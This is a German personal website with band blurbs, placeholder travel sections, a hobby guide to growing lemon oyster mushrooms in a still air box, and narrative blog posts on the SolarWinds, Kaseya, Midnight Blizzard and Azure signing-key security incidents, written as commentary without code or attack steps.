Ayreon

Ist Ayreon Progressive Rock, Metal-Oper oder Hörspiel? Ja!

Inhalte folgen.

Grailknights

Die Grailknights sind Hannovers superheldigste Power Metal-Band, die wieder und wieder (und wieder) gegen Dr. Skull antreten müssen.

Inhalte folgen.

Lacuna Coil

Lacuna Coil ist feinster italienischer Alternative Metal mit starken Gothic-Einflüssen.

Inhalte folgen.

Larkin Poe

Larkin Poe, das Schwestern-Duo aus Atlanta, überzeugt mit energetischem Südstaaten Roots-Rock.

Inhalte folgen.

Orphaned Land

Orphaned Land aus Israel sind die Erfinder des Oriental Metal und rocken auch nach 30 Jahren die Bühnen der Welt und setzen sich für Völkerverständigung ein.

Inhalte folgen.

Scardust

Die Female-fronted Progressive Metal-Band Scardust aus Israel begeistern mit mitreißendem Oriental Metal, den sie erstmals 2018 live in Berlin unter’s Volk brachten.

Inhalte folgen.

Stimmgewalt

Dark A Cappella aus Berlin. 12 Stimmen, keine Instrumente, 100% Power. Neben verschiedenen Covern ziehen die Mädels und Jungs seit einigen Jahren auch mit eigenen Produktionen alle Register.

Inhalte folgen.

Van Canto

RAKKA TAKKA! Van Canto produzieren mächtigen A Cappella Heavy-Metal. Unterstützt von einem Schlagzeug und reichlich Stimmpower machen die Auftritte mächtig Spaß.

Inhalte folgen.

VNV Nation

VNV Nation - von tanzbaren Electro-Stücken wie Automatic bis zu Balladen, die einem die Tränen in die Augen treiben, liefert Ronan Harris mit seiner Future Pop Ein-Mann-Show das volle Spektrum an Emotionen.

Inhalte folgen.

Ungarn (WIP)

Weitere Inhalte folgen

Kroatien (WIP)

Weitere Inhalte folgen

Norwegen (WIP)

Weitere Inhalte folgen

Niederlande (WIP)

Weitere Inhalte folgen

Dänemark (WIP)

Weitere Inhalte folgen

Spionagemuseum (WIP)

Weitere Inhalte folgen

Computerspielemuseum (WIP)

Weitere Inhalte folgen

Bücher (WIP)

Weitere Inhalte folgen

KI Bildgenerierung (WIP)

Weitere Inhalte folgen

Dokumentationen (WIP)

Weitere Inhalte folgen

Sonstige (WIP)

Weitere Inhalte folgen

Anime und Trickfilm (WIP)

Weitere Inhalte folgen

Science Fiction (WIP)

Weitere Inhalte folgen

Zuchtstation

Meine Zuchtstation besteht aus einer sogenannten “Still Air Box”, einem Luftbefeuchter und einem kombinierten Thermo- und Hygrometer.

Still Air Box

Eine Still Air Box ist eine durchsichtige Plastikbox mit Aussparungen für Luftzufuhr, Arbeiten in der Box und Gerätezuführungen. Klingt kompliziert, ist es aber nicht. Über den Onlinehandel bekommt man entsprechende Boxen vorgefertigt, alternativ kann man sie sich auch selber bauen. Meine Version habe ich der Einfachheit halber gekauft, sie bietet genug Platz für zwei Fertig-Pilzkulturen in der Box und hat zwei Öffnungen, die mit Membranen versehen sind. So lassen sich leicht Arbeiten in der Box erledigen. Der Aufbau ist auch denkbar einfach: Auseinanderfalten, Reißverschlüsse schließen, fertig. Ich nutze die Reißverschlüsse auch, um dort den Schlauch des Luftbefeuchters durchzuführen.

Die Still Air Box sorgt primär für ein konstantes und überwachtes Raumklima, um den spezifischen Anforderungen der jeweiligen Pilze gerecht zu werden.

Luftbefeuchter

Ein Luftbefeuchter ist für die Pilzzucht ohne ausreichend feuchte Räumlichkeiten die wohl wichtigste Komponente des Setups. Während einige Pilze sich auch problemlos im Garten oder im Keller züchten lassen, muss man etwas kreativer werden, wenn man beides nicht besitzt oder Pilze mit besonderen Anforderungen an ihre Umgebung züchten möchte.

Ich habe mir das Hygro System von hobby-terraristik.com besorgt, da es einen großen Wasserspeicher hat und die Benebelung mit umfangreichen zeitgesteuerten Einstellungen ermöglicht. Ich fülle es nicht mit normalem Leitungswasser aufgrund des hohen Kalkgehaltes, sondern mit stillem Trinkwasser aus der Flasche. Der Verbrauch ist nicht sonderlich hoch, mit einem Liter komme ich eine gute Woche aus. Vernebelt wird mit voller Stärke alle 2-3 Stunden für zwei Minuten, was für eine Luftfeuchtigkeit von 70% bis 80% innerhalb der Box ausreicht.

Thermo-/Hygrometer

Um sowohl die feuchtigkeit als auch die Temperatur gut im Blick zu haben, bietet es sich an, sowohl ein Hygrometer als auch ein Thermometer aus dem Terrariums-Handel in der Box zu platzieren. Welches Produkt man wählt ist hauptsächlich Geschmackssache, es sollte nur mit hoher Luftfeuchtigkeit klarkommen.

Frischluft

In einer Still Air Box kann es schnell stickig werden und auch Pilze haben gerne ein wenig frische Luft. Mit einer permanenten Frischluftzufuhr würde ich jedoch den Vernebler dauerhaft laufen lassen müssen, außerdem würde die feuchte Luft in den Wohnraum entweichen, was bei einer schimmelanfälligen Wohnung doch eher contraproduktiv ist. Daher halte ich die Luftfeuchtigkeit den Tag über hoch, öffne dann abends die Box an einer Seite und drücke sie mehrmals zusammen, sodass die verbrauchte Luft hinaus- und frische Luft hineingesaugt wird. Währenddessen lüfte ich die Wohnung durch, damit die feuchte Luft nicht direkt an den Wänden kondensiert.

Limonenseitling

Mein erster Myko-Mitbewohner ist ein Limonenseitling, auch Limonenpilz oder Zitronengelber Seitling. Er lässt sich gut in schattigen Umgebungen mit konstanter Temperatur zwischen 16°C und 24°C und hoher Luftfeuchtigkeit züchten, wofür sich Keller mit Lichteinlässen hervorragend eignen. Leider besitze ich keinen Keller und musste daher etwas kreativer werden.

Ich habe mir online ein fertiges Pilzzucht-Set gekauft, das ich anweisungsgemäß an zwei der vier Öffnungen eingeschnitten habe. Das wanderte danach direkt in die Still Air Box, der Vernebler wurde angeschlossen und ich konnte mich nach wenigen Stunden davon überzeugen, dass die Temperatur bei ca. 20°C (Raumtemperatur) und die Luftfeuchtigkeit über 70% war. Die Box steht direkt an einem Fenster, an dem es keine direkte Sonneneinstrahlung gibt. Generell benötigen Limonenpilze nur wenig Licht, indirektes schummriges Licht reicht vollkommen aus.

Nach etwa 10 Tagen zeigten sich die ersten Anzeichen, dass Fruchtkörper ausgebildet wurden. Die eingeschnittenen Stellen wölbten sich leicht nach außen und man konnte einen Hauch von gelb erkennen. [tbd]

SolarWinds

Weltweite Ausfälle durch digitale Sonnenwinde

I’m sorry, I could not resist. Das Wortspiel drängte sich in diesem Kontext geradezu auf.

2020 begann mit Shitrix und endete mit einem Security-Desaster bei dem Softwarehersteller Solarwinds, das letztendlich gut 18.000 Firmen betraf, die deren Software einsetzten. Der Begriff “Supply Chain Attack” war schon vorher bekannt, durch diesen Vorfall jedoch war er plötzlich in aller Munde. Was war passiert?

Digitale Lieferketten

Die als “Sunburst” bekannt gewordene Hintertür in der Software “Orion”, die vom Hersteller Solarwinds weltweit vertrieben wird und in vielen Unternehmen zum Einsatz kam, wurde zuerst von der IT Security-Firma FireEye entdeckt, als Angreifer auf diesem Weg das Unternehmen angriffen. Die Angreifer hatten eigenentwickelte Tools für fortschrittliche Penetrationstests entwendet, die auch für reale Angriffe verwendet werden können. FireEye veröffentlichte zeitnah Informationen, wie man sich gegen diese Tools wappnen und diese erkennen konnte und untersuchte den Vorfall intern.

Doch der Angriff auf FireEye war nur die Spitze des Eisbergs. Bereits wenige Tage nach bekanntwerden kristallisierte sich heraus, dass das Problem größer war als die Sicherheitsgemeinschaft bis dato angenommen hatte. FireEye fand heraus, dass der Angriff über die Orion-Software stattgefunden hatte. Orion kam bei unterschiedlichsten Firmen und Organisationen zum Einsatz, unter anderem auch beim US-Handelsministerium, das US-Außenministerium und das Pentagon. Auch viele Deutsche Firmen waren betroffen. Doch wie war das möglich?

Orion ist eine Software, die zur IT-Verwaltung und -Überwachung eingesetzt wird. Wo sie im Einsatz ist, hat sie weitreichende Berechtigungen auf den überwachten Systemen. Wie die meisten Programme erhielt auch Orion regelmäßig Updates seitens des Herstellers, und genau hier setzten die Angreifer an. Sie lieferten manipulierte Updates an die Solarwinds-Kunden aus, indem sie einen Build-Server des Unternehmens übernahmen.

Triviale Kennwörter für Kerninfrastruktur

Bereits Mitte November 2019 hatte der Sicherheitsforscher Vinoth Kumar dem Unternehmen mitgeteilt, dass er in einer öffentlich zugänglichen Github-Repository Zugangsdaten zu einem FTP-System bei Solarwinds gefunden hatte, das für die Updateverteilung für Solarwinds-Produkte zuständig war. Er hatte als Nachweis, dass damit ein Zugriff möglich war, sogar eine harmlose Datei dort hochgeladen. Besonders brisant: Das Passwort war denkbar trivial: “solarwinds123”. Das Unternehmen meldete sich einige Tage später und bestätigte, sich um die Zugangsdaten “gekümmert” zu haben. Was genau das beinhaltete ließen sie offen. Die geleakten Zugangsdaten waren zu diesem Zeitpunkt jedenfalls bereits mehrere Wochen im Internet abrufbar gewesen. Auch die Quelle sei nun nicht mehr öffentlich verfügbar, was darauf schließen lässt, dass das Github-Projekt möglicherweise von Solarwinds selbst betrieben wurde - Kumar selbst lieferte diesbezüglich keine Details.

Es ist bis heute unklar, ob dieser öffentliche Zugang zu Update-Komponenten dazu führte, dass wenige Monate später Angreifer Manipulationen an den Build-Systemen der Firma vornahmen. Auszuschließen ist es nicht. Denkbar ist aber auch, dass auch andere Dienste, die öffentlich erreichbar waren, ähnlich schwache Passwörter oder andere Sicherheitslücken aufwiesen, die den Angreifern Zugang gewährten. Offensichtlich hatten die Angreifer jedenfalls sowohl Zugriff auf das Build-System selbst als auch auf den verwendeten Signaturschlüssel, die den manipulierten Updates einen offiziellen Anstrich gaben.

Wie sich herausstellte, hatten die Angreifer bereits seit Frühjahr 2020, als zeitgleich die Shitrix-Sicherheitslücke die IT-Fachleute weltweit in Atem hielt, damit begonnen, mit der Sunburst-Hintertür versehene Updates auszuliefern. Ob der Fokus auf die Citrix-Thematik damals eine schnellere Entdeckung verhinderte ist unklar, er könnte aber durchaus ein Faktor gewesen sein.

Mangelhafte Absicherung und Täuschung

Solarwinds verkaufte seinen Kunden die eigene Software als sicher und unbedenklich - wie sich im Nachgang jedoch herausstellte, war dem Unternehmen sehr wohl bewusst, dass es um die eigene Sicherheits-Infrastruktur und die Sicherheit der Produkte selbst nicht gut bestellt war. Bereits 2018 wurde in internen Berichten davon gesprochen, dass der Fernzugriff nicht sonderlich gut abgesichert sei. In weiteren Präsentationen bis 2019 wurde sogar explizit erwähnt, dass der aktuelle Stand der Sicherheit das Unternehmen sehr verwundbar hinterlasse und auch der Zugang zu kritischen Daten nicht angemessen abgesichert sei. Das Unternehmen wusste also schon länger, dass die eigene Infrastruktur einem Angreifer kaum Hürden in den Weg stellte. Auch mehrere Mitarbeiter des Unternehmens erklärten, sie seien nicht überzeugt davon, dass das Unternehmen seine Vermögenswerte angemessen vor digitalen Angriffen schütze.

Dass der Angriff auf die zahlreichen Kundensysteme schließlich beendet werden konnte lag hauptsächlich daran, dass Microsoft die von den Angreifern verwendete Domain zur Koordinierung der Angriffe, die auf einen sogenannten Command&Control-Server (C&C) zeigte, übernahm und damit unschädlich machte. Auch wenn Microsoft dies nicht offiziell bestätigte, ließ ein Verantwortlicher es zwischen den Zeilen durchblicken, man müsse eben tun, was getan werden müsse.

Lessons learned?

Das Thema Solarwinds beschäftigte sowohl die betroffenen Unternehmen als auch Sicherheitsexperten noch eine ganze Zeit. Doch hatte Solarwinds aus der Katastrophe gelernt?

Bereits Mitte 2021 stand Solarwinds erneut im Mittelpunkt. Die hauseigene Software Serv-U, die zur Übertragung von Daten verwendet wird, hatte eine kritische Zero-Day-Schwachstelle (0-Day), die das Ausführen von beliebigem Code auf dem System erlaubte, auf dem ser Service lief. Das Unternehmen lieferte schnell ein Patch, nachdem erste Angriffe auf die verwundbaren Dienste von Microsofts Sicherheitsforschern beobachtet und gemeldet wurden. Glücklicherweise war die Schwachstelle nur unter bestimmten Voraussetzungen ausnutzbar, doch der erneute Vorfall hinterlässt ein sehr mulmiges Gefühl.

Supply Chain-Angriffe sind deswegen so gefährlich, weil Firmen der Software vertrauen, die sie einsetzen. Dass sie das tun, ist ganz natürlich und auch eigentlich kein Problem, doch der Fall Solarwinds zeigt, dass es auch eine Kehrseite gibt. Ein zulieferndes Unternehmen kann noch so vertrauenswürdig sein, eine einzige Sicherheitslücke bei einem zentralen Unternehmen reicht aus, um riesige Auswirkungen zu haben. Manche Schwachstellen wie triviale Kennwörter oder schlecht abgesicherte zentrale Systeme lassen mich kopfschüttelnd zurück, aber moderne Angreifer sind auf so etwas nicht zwingend angewiesen. Und irgendwo schlummert immer eine Sicherheitslücke, die bisher alle übersehen haben. Kriminelle Gruppen werden jedenfalls aus diesem und ähnlichen Vorfällen gelernt haben uns sich auch in Zukunft vermehrt auf Anbieter weit verbreiteter Softwarelösungen einschießen. Versprochen.

Kaseya

Supply-Chain-Ransomware - bitte was?!

Genau zwischen Shitrix und dem Solarwinds-Desaster dachte sich eine weitere Gruppierung, dass Dienstleister, deren Software von vielen Unternehmen zur Verwaltung ihrer Systeme eingesetzt wird, ein lohnendes Ziel sein könnten. Bis zu 1500 Unternehmen waren weltweit betroffen, offiziell gab es darunter auch einen größeren deutschen IT-Dienstleister, dessen Kunden durch die Angriffe betroffen waren. Dunkelziffer: Unklar.

Was den Kaseya-Vorfall von den anderen Fällen abhob war, dass die Angreifer es nicht beim Auskundschaften der Unternehmen und dem Abziehen von Daten beließen. Nach getaner Arbeit aktivierten sie nämlich noch eine Ransomware, die die Kundensysteme verschlüsselte - Erpresserschreiben inklusive. So etwas läuft unter dem Begriff “Double Extortion”, wobei zusätzlich zur Motivation, die verschlüsselten Daten ggf. wieder entschlüsselt zu bekommen auch noch die Veröffentlichung der gestohlenen Dateien im Raum steht, die nur durch eine großzügige Spende abgewendet werden soll. Derartige Praktiken sind bekannt - im Rahmen einer Supply Chain-Attacke jedoch in diesem Umfang neu.

Hintergründe

Ab dem 2. Juli 2021 häuften sich Berichte von Unternehmen, die Opfer einer Ransomware-Attacke wurden. Der Verdacht, dass diese Fälle zusammenhängen, erhärtete sich schnell, da zum einen dieselbe Ransomware verwendet wurde und sich zum anderen nach kurzer Zeit herauskristallisierte, dass die betroffenen Unternehmen eine Gemeinsamkeit hatten: Sie alle setzten die Software “Virtual System Administrator” (VSA) des Herstellers Kaseya ein. Mittels dieser Software lassen sich virtuelle und physische Systeme verwalten und überwachen. Kurioserweise deckt die Software laut Herstellerangaben (Stand 04/2024) auch “Ransomware Detection” ab - ein Plot Twist allererster Güte, denn im Rahmen des Angriffes wurde sie dafür verwendet, die Ransomware der Angreifer auf den Systemen zu aktivieren.

Bereits am 4. Juli bestätigte das niederländische DIVD CSIRT (dem Computer Security Incident Response Team des Computer Security Incident Response Team) in einem Blogpost, dass sich Kaseya mit ihnen in Verbindung gesetzt hatte, um die gefunden Schwachstellen im Rahmen einer CVE-Meldung (Common Vulnerabilities and Exposures, eine öffentliche Datenbank mit Informationen zu bekannten Sicherheitslücken) zu veröffentlichen. Details zu den einzelnen Sicherheitslücken wurden aber auch hier nicht genannt, einzig ein Verweis auf eine gemeldete Schwachstelle im Bezug auf Anmeldedaten wurde genannt.

Am selben Tag ließen auch die Angreifer von sich hören. Die Gruppe REvil veröffentlichte auf ihrer Leak-Webseite einen Beitrag, in dem sie bestätigten, hinter diesem Angriff zu stecken. REvil betreibt eine Art Franchise-System für Ransomware; die Truppe selber stellt Infrastruktur zur Koordinierung von Angriffen auf bereits von ihnen infiltrierte Infrastruktur bereit, inklusive einem Helpdesk für Opfer, die Hilfe beim Bezahlen der geforderten Summe in BitCoin oder dem daraufhin bereitgestellten Entschlüsselungstool haben. Kriminelle kaufen sich bei REvil Nutzungsrechte für eine gewisse Zeit und Zugänge zu den unter Kontrolle stehenden Systemen und können dort dann Daten ausleiten und nachfolgend die Ransomware, die ebenfalls von REvil programmiert und bereitgestellt wird, ausführen. REvil erhält am Ende einen Anteil der gezahlten Summe.

Am 5. Juli bestätigte Kaseya öffentlich, dass ihre Software verschiedene Zero Day-Schwachstellen (0-day) aufwies, die aktiv ausgenutzt wurden, um verwundbare VSA-Server anzugreifen. Unter anderem war es den Angreifern mithilfe dieser Schwachstellen möglich, die Authentisierung der Systeme auszuhebeln, zudem konnten sie beliebige Dateien auf die Server hochladen und eigenen Code ausführen. Details über die Schwachstellen machten sie zu diesem Zeitpunkt jedoch nicht öffentlich. Die genauen Details zu den drei Sicherheitslücken arbeiteten schließlich die Sicherheitsforscher der Unternehmen Huntress Labs und TrueSec im Detail heraus. Anhand dieser Untersuchungen stellte Huntress Labs die These auf, die Angreifer seien primär durch die Authentication Bypass-Schwachstelle in der Lage gewesen, die Kaseya-Systeme zu übernehmen.

Das DIVD CSIRT veröffentlichte drei Tage nach dieser ersten öffentlichen Stellungnahme einen weiteren Beitrag, in dem weitere Details der Schwachstellen genannt wurden. Insgesamt wurden sieben Schwachstellen genannt, von denen vier bereits in den aktuellen Versionen der VSA-Software gepatcht waren, die auf den meisten Kundensystemen im Einsatz gewesen sein dürfte. Die drei übrigen sollten im nächsten Release am 11.07.2021 behoben werden. Kaseya deaktivierte während der andauernden Untersuchungen die eigenen software-as-a-service (SaaS) Systeme, auch wenn sie nicht davon ausgingen, dass die Angreifer Kontrolle über diese Systeme hatten. Dies stellte eine weitere Einschränkung für Kunden dar, die mit diesen Systemen arbeiteten.

Währenddessen hatte REvil ein Angebot auf den Tisch gelegt, der für derartige Gruppen eher untypisch ist: Man bot an, für umgerechnet 70 Millionen Dollar in Bitcoin ein universelles Entschlüsselungsprogramm anzubieten, mit dem Kaseya (oder wer auch immer es kaufte) die Daten aller Opfer entschlüsseln könne. Die Täter sprechen in diesem Kontext von über einer Million betroffener Systeme - eine Zahl, die bis dato beispiellos im Rahmen einer solchen Kampagne war.

Abgesang

Der Angriff hatte Auswirkungen auf viele Firmen, obwohl laut Kaseya offiziell nur ein paar Dutzend Kunden betroffen waren. Wie kam es dennoch dazu, dass die Auswirkungen 1500 Unternehmen betrafen, darunter große Supermarktketten, die fast alle Filialen zeitweise schließen mussten?

Erklärbar ist das durch eine Art Domino-Effekt. Die von Kaseya genannten 40 betroffenen Firmen waren wohl größtenteils IT-Dienstleister und Systemhäuser, die mit der VSA-Software die Systeme ihrer Kunden verwalteten. Und damit multiplizierte sich der Schaden. Wenn jedes dieser Systemhäuser nur 30-40 Kunden betreut, kommt man schnell auf die betroffenen anderthalbtausend Firmen. Dabei hätte deutlich mehr passieren können. Kaseya selbst hatte zu diesem Zeitpunkt mehr als 36.000 Kunden. Wären zeitgleich Schwachstellen auch in den anderen Kaseya-Produkten von REvil entdeckt worden, wäre der Schaden ungleich höher gewesen.

Den Betroffenen indes ist das kein Trost. Neben dem Verlust von Mitarbeiter- und Kundendaten sowie Geschäftsgeheimnissen standen viele Firmen vor dem Trümmerfeld ihrer IT-Umgebungen und mussten Schritt für Schritt über Monate und Jahre hinweg ihre Infrastruktur wieder aufbauen. Selbst wenn Backups vorhanden waren (was nicht selbstverständlich ist, denn die Backup-Infrastruktur der meisten Unternehmen war oft ebenfalls angreifbar - oder schlicht nicht vorhanden), half das Zurückspielen nur in Einzelfällen, den Wiederaufbau zu beschleunigen. Da unklar war, ab wann die Angreifer tatsächlich auf den Systemen unterwegs waren, konnten oft nur Teile der gesicherten Daten mühsam per Hand zurückgespielt werden. Eine Neustrukturierung der Infrastruktur un die Einschränkung der Möglichkeiten für externe Dienstleister, direkt auf die Systeme zuzugreifen, nahm zumindest ein Teil der Betroffenen in Angriff.

Auch hier wird deutlich, welche Gefahren von starken Abhängigkeiten in der digitalen Lieferkette ausgehen können. Systemhäuser, die ihre vielen Kunden nur deswegen mit einer schmalen Personaldecke versorgen können, weil sie mit ihren Tools permanent direkten Zugriff auf deren Systeme haben, haben ein hohes Potenzial, auch in Zukunft noch nicht absehbaren Schaden anzurichten.

MS Cybersicherheit

Ein mitternächtlicher Schneesturm

Ein im November 2023 auf Microsofts Cybersecurity-Abteilung erfolgter erfolgreicher und erst im Januar 2024 entdeckter Angriff lässt das Vertrauen in den Redmonder Software-Riesen weiter bröckeln. Mutmaßlich eine als “Midnight Blizzard” oder auch “Nobelium” bekannte Gruppe hatte Zugriff auf E-Mails der Mitarbeitenden und Führungskräfte erlangt. Dabei ging es vermutlich primär darum, herauszufinden, was die Analysten über die Gruppe und ihre Aktivitäten wusste, so die Vermutung.

Der Schuster hat die schlechtesten Schuhe

Während nicht nur Microsoft seit Jahren unisono mit Sicherheitsfachkräften dafür wirbt, Zugänge zu Onlinediensten mit modernen Methoden wie Multi-Faktor-Authentication (MFA), FIDO2-Keys und starken Passwörtern abzusichern, scheint das Unternehmen selber die eigenen Ratschläge nicht sonderlich ernst zu nehmen. Gerade bei einem Unternehmen, das verspricht, eine sichere Infrastruktur für seine Kunden zur Verfügung zu stellen, sollte man aber genau das erwarten können.

Nachdem Microsoft Details zum Vorgehen der Angreifer veröffentlicht hat wurde schnell eines klar: Die Mitarbeiter der Abteilung, die für Cybersicherheit im Unternehmen verantwortlich waren, nutzten leicht erratbare Standardkennwörter in ihrer Infrastruktur. Zwar waren die Benutzerkonten selbst zusätzlich mit einem zweiten Faktor abgesichert, aber es existierten Testkonten mit schwachen Kennwörtern - und deaktiviertem zweiten Faktor. Mittels Password Spraying, also dem Ausprobieren der gängigsten Kennwörter auf einzelnen Accounts, gelang es den Angreifern, sich mit einem der Testkonten an der Infrastruktur anzumelden. Dort hatten sie Zugriff auf eine veraltete Testanwendung, die es ihnen erlaubte, sich zusätzliche Rechte zu verschaffen und sich einen eigenen Zugang zu den Exchange Online-Konten der Mitarbeiter einzurichten.

Service-Hygiene und schwachstellenlose Angriffe

Das Unternehmen beeilte sich nach Bekanntwerden des Datenabflusses, zu versichern, dass “Midnight Blizzard” keine Schwachstellen ausgenutzt habe, um sich Zugang zu verschaffen. Dass jedoch ein nicht abgesichertes Testsystem mit veralteten OAuth-Anwendungen der Zugangsweg war, teilten sie anfangs nicht mit. Im Angesicht des Trubels um den Abfluss eines Signing-Keys nur wenige Monate zuvor vielleicht sogar eine verständliche Zurückhaltung, dennoch offenbart es ein fehlendes Sicherheitsempfinden, sogar in den Abteilungen, die sich Sicherheit auf die Fahne geschrieben haben.

Die Frage, warum das Testsystem, obwohl es die Möglichkeit auf Datenzugriff mit erhöhten Rechten bot, nicht ins Monitoring und Alerting eingebunden war, kann nur Microsoft beantworten. Damit wäre sowohl das Fehlen eines MFA-Mechanismus für den zugewiesenen Benutzer, als auch die laufenden Password Spraying-Angriffe aufgefallen. Wenigstens hat Microsoft ausnahmsweise wenigstens im Nachgang selbstkritisch reagiert und einen Blogbeitrag mit Details zum Angriff und Informationen, wie man Systeme gegen die beschriebenen Methoden absichert.

Die wohl nicht zuletzt durch das Signing-Key Debakel befeuerte SFI (Secure Future Initiative) ist wohl bitter nötig - ob Microsoft sich dabei allerdings gerade auf KI verlassen sollte, um Angriffe in Zukunft zu vereiteln? Ich habe da so meine Zweifel.

Azure Signing-Key-Klau

Was ist denn nun schon wieder ein Signing-Key? Und wieso ist er blau?

Azur ist eine schöne Farbe ^{citation needed}. Azure ist auch der Name der Cloud-Infrastruktur, die Microsoft an seine Kunden vermietet. Ich habe zudem den Verdacht, dass blau, was “Azure” grob übersetzt bedeutet, manchmal auch den Zustand einiger der dortigen Angestellten treffend beschreibt.

In der Azure-Cloud können alle Arten von Diensten betrieben werden, manche Firmen bilden inzwischen nahezu ihre gesamte Infrastruktur in der Cloud ab - bei Microsoft sowie anderen Anbietern. Doch Azure hat durch die enge Verknüpfung mit dem Windows- und Office-Ökosystem für viele Firmen mit Microsoft-Infrastruktur einen gewissen Reiz.

Ein Signing-Key wird in dieser Infrastruktur verwendet, um Anwendungen oder beispielsweise Zugangstoken digital zu signieren, also als vertrauenswürdig zu markieren. Derartige Signing-Keys gibt es in verschiedenen Abstufungen, von solchen, die nur Microsoft selbst einsetzt um die eigene Software verifizierbar zu machen bis hin zu solchen, die einzelnen Personen erlauben, ihre eigenen Daten zu signieren. Zugangstokens werden verwendet, um nachzuweisen, dass man Zugriff auf bestimmte Daten wie zum Beispiel ein Postfach oder abgelegte Dateien hat. Mittels eines Signing-Keys werden diese Tokens beglaubigt und sollen damit fälschungssicher sein.

Von Schlüsseln und Schlössern

Mitte Juni des Jahres 2023 erlangte Microsoft Kenntnis von seltsamen Vorgängen in der eigenen Infrastruktur. Eine US-Amerikanische Behörde meldete Zugriffe auf die in der Azure-Cloud liegenden Postfächer ihrer Mitarbeiter, die nicht auf reguläre Zugriffe der Angestellten zurückzuverfolgen waren. Die verdächtigen Zugriffe fanden sie in Protokolldaten, die nur Unternehmen und Nutzern zur Verfügung standen, die dafür extra bezahlten.

Schnell wurde klar: Da waren Dritte am Werk, die sich auf irgendeinem Weg Zugriff auf die eigentlich geschützten Daten verschafft hatten. Diese wurden zwar von einer US-Behörde gemeldet, jedoch stellte sich heraus, dass sie es primär auf Europäische Regierungsbehörden und deren Daten in der Azure-Cloud abgesehen hatten.

Doch wie hatten sie das geschafft? Hatten sie Zugangsdaten entwendet oder Accounts durch Brute Force-Angriffe geknackt? Das wäre deutlich sichtbar gewesen und sehr auffällig gewesen. Hatten sie Zugangsdaten aus den zahlreichen online veröffentlichen Breach-Sammlungen verwendet? Auch das ließ sich relativ schnell ausschließen.

Stück für Stück kristallisierte sich heraus, dass offenbar ein interner Signing-Key von Microsoft verwendet wurde, um den Angreifern gültige Zugangstoken für diverse OWA-Zugänge (Outlook Web Access) und Mailpostfächern auf outlook.com auszustellen. Mithilfe dieser Zugangstoken konnten jene nun komplette Postfächer und Datensammlungen abziehen, die eigentlich nur bestimmten Personenkreisen zugänglich sein sollten. Dass die Täter sich gerade Regierungsbehörden als Ziel ausgesucht haben könnte darauf hindeuten, dass es sich um staatlich kontrollierte oder zumindest beauftragte Hacker handeln könnte - das nachzuweisen ist indes schwierig.

Ein Schlüssel für meine Daten, Deine Daten, alle Daten

Wie ein derartig mächtiger Signaturschlüssel einem Unternehmen abhanden kommen konnte, das sich selbst als einen der wichtigsten Identity Provider sieht und zudem einer der drei weltweit größten Cloud-Provider ist, bleibt rätselhaft. Microsoft bestätigte Erkenntnisse der Sicherheitsforscher in Microdosierung und veröffentlichte selber nur Microinformationen. Das Unternehmen spricht von einem “Validation Issue”, das dem eigentlich nur für einen bestimmten Zweck und einen eingeschränkten Nutzerkreis verfügbare Token so umfangreiche Rechte gewährte. Wo und wie der Signing-Key abgegriffen wurde schien auch Microsoft selbst nicht bekannt zu sein. Daran sollte sich auch in den Folgemonaten nichts ändern.

Zwischenzeitlich hatte das auf Cloud-Sicherheit spezialisierte Unternehmen Wiz sich der Thematik angenommen und auf eigene Faust recherchiert. Der gestohlene Schlüssel konnte im Rahmen der Recherche identifiziert und mit Listen von bekannten Signaturschlüsseln von Microsoft und deren Gültigkeitsraum abgeglichen werden. Und als wäre das Abhandenkommen eines vertraulichen Signaturschlüssels nicht schon schlimm genug, platzte an dieser Stelle die nächste Bombe: Der besagte Schlüssel hatte nicht nur bei Exchange Online, sondern nahezu überall im Azure-Ökosystem Anwendungsmöglichkeiten. In Wahrheit handelte es sich nämlich laut Wiz um einen Signing Key für das komplette Azure AD (AAD), den Verzeichnisdienst von Microsoft, der Zugänge zu nahezu jedem Cloud-Dienst von Microsoft verwaltet. Damit gewährte er sogar selbst betriebenen AAD-Instanzen der Microsoft-Kunden, solange diese dem zentralen AAD vertrauten.

Microsofts Reaktionsträgheit

Zwar hatte Microsoft den fraglichen Signing Key zwischenzeitlich gesperrt, doch ist an dieser Stelle unklar, an wie vielen Stellen unberechtigter Weise auf geschützte Daten zugegriffen wurden. Das entsprechende Logging, das diese Frage hätte beantworten können, stand nur Kunden zur Verfügung, die extra dafür bezahlten. Der Großteil der möglicherweise betroffenen Kunden dürfte die entsprechende Option nicht dazugebucht haben. Zwar stellt Microsoft diese Funktion inzwischen allen Azure-Nutzern zur Verfügung, doch bereits erfolgte Zugriffe und Datenabflüsse sind damit trotzdem nicht mehr feststellbar.

Drei Monate nach dem Bekanntwerden der ersten illegalen Zugriffe, im September 2023, veröffentlichte das US-Außenministerium erste Zahlen zu den bis dato nachgewiesenen Datenabflüsse: Rund 60.000 Mails wurden wurden alleine von zehn Accounts des State Department abgezogen. Doch das dürfte nur die Spitze des Eisbergs gewesen sein.

Nahezu zeitgleich veröffentlichte Microsoft einen Blog-Eintrag, in dem beschrieben wurde, wie es zu dem Schlüsseldiebstahl kam - im April 2021. Offensichtlich war der Abfluss dieses mächtigen und besonders schützenswerten Stücks Software seinerzeit niemandem aufgefallen. Der verlinkte Blog-Eintrag musste zudem laut Heise Online im März 2024 von Microsoft korrigiert werden, da im Ursprünglichen Beitrag nachweislich Falschbehauptungen zur Ursache des Vorfalls aufgestellt wurden.

Nachspiel für Microsoft

Anfang April 2024 veröffentlichte nun das Cyber Safety Review Board der US-Behörde CISA (Cybersecurity and Infrastructure Security Agency), das auch für die Aufdeckung der Falschaussagen in Microsofts Blog verantwortlich zeichnet, seinen finalen Bericht in dieser Sache. Der Inhalt dürfte für Microsoft schmerzhaft sein, dem Konzern wird Versagen auf verschiedensten Ebenen vorgeworfen. Die CISA empfiehlt den Redmondern zudem, zuerst ihre Sicherheit zu verbessern, bevor weiter an neuen Cloud-Diensten gearbeitet wird.

Auch ein weiterer Angriff im Vorjahr auf Microsoft, der Anfang des Jahres bekannt wurde, bestärkte die CISA in ihrer Ansicht, Microsoft werde seiner Verantwortung in Bezug auf IT-Sicherheit nicht gerecht. Wie Microsoft auf die daraus resultierenden Forderungen reagiert steht derzeit noch in den Sternen.

Shitrix

Klingt dreckig - isses aber auch!

